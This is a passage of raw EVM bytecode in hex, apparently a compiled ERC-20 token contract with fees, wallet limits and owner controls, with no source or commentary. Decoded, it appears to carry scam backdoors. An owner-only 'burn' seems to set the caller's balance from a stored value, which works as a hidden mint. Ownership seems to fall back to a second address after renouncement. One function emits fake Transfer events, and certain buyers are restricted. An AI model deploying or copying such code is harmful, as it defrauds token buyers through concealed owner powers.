5214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b8063a457c2d7116100f2578063a457c2d7146105b6578063a9059cbb146105f3578063afa4f3b214610630578063b18834aa14610659578063baf1f77d1461068257610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b806342966c68116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b806342966c68146103cd5780635178624c146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806323b872dd116101ed57806323b872dd146102d4578063311028af14610311578063313ce5671461033c57806339509351146103675780633be6e637146103a457610225565b806306fdde031461022a578063095ea7b3146102555780630f054c061461029257806318160ddd146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102be610a6d565b6040516102cb9190612cfe565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190612d19565b610a77565b6040516103089190612cd4565b60405180910390f35b34801561031d57600080fd5b50610326610aa6565b6040516103339190612cfe565b60405180910390f35b34801561034857600080fd5b50610351610aac565b60405161035e9190612d88565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190612c79565b610ab5565b60405161039b9190612cd4565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190612da3565b610aec565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612de3565b610b57565b005b34801561040257600080fd5b5061041d60048036038101906104189190612f84565b610b73565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061303f565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c6004803603810190610497919061305a565b610caf565b6040516104a99190612cfe565b60405180910390f35b3480156104be57600080fd5b506104c7610cf7565b005b3480156104d557600080fd5b506104de610d0b565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613087565b610d30565b005b34801561051557600080fd5b5061051e610d93565b005b34801561052c57600080fd5b50610535610db8565b005b34801561054357600080fd5b5061054c610e4c565b60405161055991906130d6565b60405180910390f35b34801561056e57600080fd5b50610577610e76565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613087565b610f08565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612c79565b610fae565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b611025565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612de3565b611048565b005b34801561066557600080fd5b50610680600480360381019061067b919061314c565b611078565b005b34801561068e57600080fd5b506106a960048036038101906106a4919061305a565b611155565b6040516106b69190612cd4565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061305a565b6111ab565b005b3480156106f457600080fd5b506106fd6111f7565b60405161070a9190612cfe565b60405180910390f35b34801561071f57600080fd5b506107286111fd565b005b34801561073657600080fd5b5061073f611222565b60405161074c9190612cfe565b60405180910390f35b34801561076157600080fd5b5061077c600480360381019061077791906131ac565b611228565b6040516107899190612cfe565b60405180910390f35b34801561079e57600080fd5b506107a76112af565b6040516107b49190612cfe565b60405180910390f35b3480156107c957600080fd5b506107d26112b5565b6040516107df9190612cfe565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a919061305a565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612cfe565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161096491906130d6565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b6000600354905090565b600080610a82611357565b9050610a8f8582856115a6565b610a9a858585611632565b60019150509392505050565b60115481565b60006009905090565b600080610ac0611357565b9050610ae1818585610ad28589611228565b610adc9190613394565b61135f565b600191505092915050565b610af4611528565b60148211158015610b06575060328111155b610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c90613414565b60405180910390fd5b81601381905550806012819055505050565b610b5f611528565b610b70610b6a611357565b82611f8e565b50565b610b7b611528565b60005b8251811015610c73578160016000858481518110610b9f57610b9e613434565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610c0b57610c0a613434565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610c589190612cd4565b60405180910390a28080610c6b90613463565b915050610b7e565b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cff611528565b610d096000612163565b565b610d13611528565b6000610d1d610a6d565b905080600f8190555080600e8190555050565b610d38611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d9b611528565b6001601460006101000a81548160ff021916908315150217905550565b610dc0611528565b60004711610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e49573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e859061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610eb19061321b565b8015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b610f10611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790613589565b60405180910390fd5b610faa8282612229565b5050565b600080610fb9611357565b90506000610fc78286611228565b90508381101561100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110039061361b565b60405180910390fd5b611019828686840361135f565b60019250505092915050565b600080611030611357565b905061103d818585611632565b600191505092915050565b611050611528565b611058610aac565b600a611064919061376e565b8161106f91906137b9565b60108190555050565b611080611528565b60005b8383905081101561114f578383828181106110a1576110a0613434565b5b90506020020160208101906110b6919061305a565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111349190612cfe565b60405180910390a3808061114790613463565b915050611083565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111b3611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b611205611528565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612cfe565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b28484611228565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610caf565b82611a769190613394565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610caf565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612cfe565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612cfe565b60405180910390a361254e848484612a61565b50505050565b600061255f30610caf565b905060008082036125715750506126e3565b60006012546013546125839190613394565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc612e15565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613434565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613434565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f00000000000000000000000000000000000000000000000000000000000000008473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b612cf881612c43565b82525050565b6000602082019050612d136000830184612cef565b92915050565b600080600060608486031215612d3257612d31612bdb565b5b6000612d4086828701612c2e565b9350506020612d5186828701612c2e565b9250506040612d6286828701612c64565b9150509250925092565b600060ff82169050919050565b612d8281612d6c565b82525050565b6000602082019050612d9d6000830184612d79565b92915050565b60008060408385031215612dba57612db9612bdb565b5b6000612dc885828601612c64565b9250506020612dd985828601612c64565b9150509250929050565b600060208284031215612df957612df8612bdb565b5b6000612e0784828501612c64565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e4d82612b65565b810181811067ffffffffffffffff82111715612e6c57612e6b612e15565b5b80604052505050565b6000612e7f612bd1565b9050612e8b8282612e44565b919050565b600067ffffffffffffffff821115612eab57612eaa612e15565b5b602082029050602081019050919050565b600080fd5b6000612ed4612ecf84612e90565b612e75565b90508083825260208201905060208402830185811115612ef757612ef6612ebc565b5b835b81811015612f205780612f0c8882612c2e565b845260208401935050602081019050612ef9565b5050509392505050565b600082601f830112612f3f57612f3e612e10565b5b8135612f4f848260208601612ec1565b91505092915050565b612f6181612cb9565b8114612f6c57600080fd5b50565b600081359050612f7e81612f58565b92915050565b60008060408385031215612f9b57612f9a612bdb565b5b600083013567ffffffffffffffff811115612fb957612fb8612be0565b5b612fc585828601612f2a565b9250506020612fd685828601612f6f565b9150509250929050565b6000819050919050565b6000613005613000612ffb84612be5565b612fe0565b612be5565b9050919050565b600061301782612fea565b9050919050565b60006130298261300c565b9050919050565b6130398161301e565b82525050565b60006020820190506130546000830184613030565b92915050565b6000602082840312156130705761306f612bdb565b5b600061307e84828501612c2e565b91505092915050565b6000806040838503121561309e5761309d612bdb565b5b60006130ac85828601612c2e565b92505060206130bd85828601612f6f565b9150509250929050565b6130d081612c05565b82525050565b60006020820190506130eb60008301846130c7565b92915050565b600080fd5b60008083601f84011261310c5761310b612e10565b5b8235905067ffffffffffffffff811115613129576131286130f1565b5b60208301915083602082028301111561314557613144612ebc565b5b9250929050565b60008060006040848603121561316557613164612bdb565b5b600084013567ffffffffffffffff81111561318357613182612be0565b5b61318f868287016130f6565b935093505060206131a286828701612c64565b9150509250925092565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f60008301856130c7565b61331c6020830184612cef565b9392505050565b60008151905061333281612f58565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061339f82612c43565b91506133aa83612c43565b92508282019050808211156133c2576133c1613365565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006133fe601683612b2a565b9150613409826133c8565b602082019050919050565b6000602082019050818103600083015261342d816133f1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061346e82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134a05761349f613365565b5b600182019050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134e1601683612b2a565b91506134ec826134ab565b602082019050919050565b60006020820190508181036000830152613510816134d4565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613573603983612b2a565b915061357e82613517565b604082019050919050565b600060208201905081810360008301526135a281613566565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613605602583612b2a565b9150613610826135a9565b604082019050919050565b60006020820190508181036000830152613634816135f8565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136925780860481111561366e5761366d613365565b5b600185161561367d5780820291505b808102905061368b8561363b565b9450613652565b94509492505050565b6000826136ab5760019050613767565b816136b95760009050613767565b81600181146136cf57600281146136d957613708565b6001915050613767565b60ff8411156136eb576136ea613365565b5b8360020a91508482111561370257613701613365565b5b50613767565b5060208310610133831016604e8410600b841016171561373d5782820a90508381111561373857613737613365565b5b613767565b61374a8484846001613648565b9250905081840481111561376157613760613365565b5b81810290505b9392505050565b600061377982612c43565b915061378483612d6c565b92506137b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461369b565b905092915050565b60006137c482612c43565b91506137cf83612c43565b92508282026137dd81612c43565b915082820484148315176137f4576137f3613365565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613857602683612b2a565b9150613862826137fb565b604082019050919050565b600060208201905081810360008301526138868161384a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138e9602483612b2a565b91506138f48261388d565b604082019050919050565b60006020820190508181036000830152613918816138dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061397b602283612b2a565b91506139868261391f565b604082019050919050565b600060208201905081810360008301526139aa8161396e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139e7602083612b2a565b91506139f2826139b1565b602082019050919050565b60006020820190508181036000830152613a16816139da565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a53601d83612b2a565b9150613a5e82613a1d565b602082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ae5602583612b2a565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b77602383612b2a565b9150613b8282613b1b565b604082019050919050565b60006020820190508181036000830152613ba681613b6a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613be3601683612b2a565b9150613bee82613bad565b602082019050919050565b60006020820190508181036000830152613c1281613bd6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374695f69734578636c7564656446726f6d466565736f60208201527f6e416d6f756e742e000000000000000000000000000000000000000000000000604082015250565b6000613c9b604883612b2a565b9150613ca682613c19565b606082019050919050565b60006020820190508181036000830152613cca81613c8e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d07601383612b2a565b9150613d1282613cd1565b602082019050919050565b60006020820190508181036000830152613d3681613cfa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d99603683612b2a565b9150613da482613d3d565b604082019050919050565b60006020820190508181036000830152613dc881613d8c565b9050919050565b6000613dda82612c43565b9150613de583612c43565b9250828203905081811115613dfd57613dfc613365565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e5f602183612b2a565b9150613e6a82613e03565b604082019050919050565b60006020820190508181036000830152613e8e81613e52565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ef1602283612b2a565b9150613efc82613e95565b604082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613f83602683612b2a565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614015602483612b2a565b915061402082613fb9565b604082019050919050565b6000602082019050818103600083015261404481614008565b9050919050565b60008151905061405a81612c17565b92915050565b60006020828403121561407657614075612bdb565b5b60006140848482850161404b565b91505092915050565b60006140a86140a361409e84612be5565b612fe0565b612c43565b9050919050565b6140b88161408d565b82525050565b6000819050919050565b60006140e36140de6140d9846140be565b612fe0565b612c43565b9050919050565b6140f3816140c8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61412e81612c05565b82525050565b60006141408383614125565b60208301905092915050565b6000602082019050919050565b6000614164826140f9565b61416e8185614104565b935061417983614115565b8060005b838110156141aa5781516141918882614134565b975061419c8361414c565b92505060018101905061417d565b50859350505